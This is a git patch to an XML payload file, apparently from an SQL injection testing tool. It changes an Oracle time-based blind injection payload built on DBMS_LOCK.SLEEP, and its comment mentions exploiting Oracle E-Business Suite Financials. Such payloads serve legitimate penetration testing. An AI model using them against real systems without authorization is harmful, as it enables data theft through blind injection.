From 42bde5328dffa22ea0faf066b1ec070334226d10 Mon Sep 17 00:00:00 2001
From: Bernardo Damele <bernardo.damele@gmail.com>
Date: Wed, 9 Apr 2014 12:29:52 +0000
Subject: [PATCH] minor fix

---
 xml/payloads.xml | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/xml/payloads.xml b/xml/payloads.xml
index 2095bc249..c8ae31e66 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -3324,6 +3324,7 @@ Formats:
         </details>
     </test>
 
+    <!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
     <test>
         <title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
         <stype>5</stype>
@@ -3331,9 +3332,9 @@ Formats:
         <risk>0</risk>
         <clause>1,3</clause>
         <where>3</where>
-        <vector>(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE [RANDNUM]; END IF; END)</vector>
+        <vector>BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END</vector>
         <request>
-            <payload>(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE [RANDNUM]; END IF; END)</payload>
+            <payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>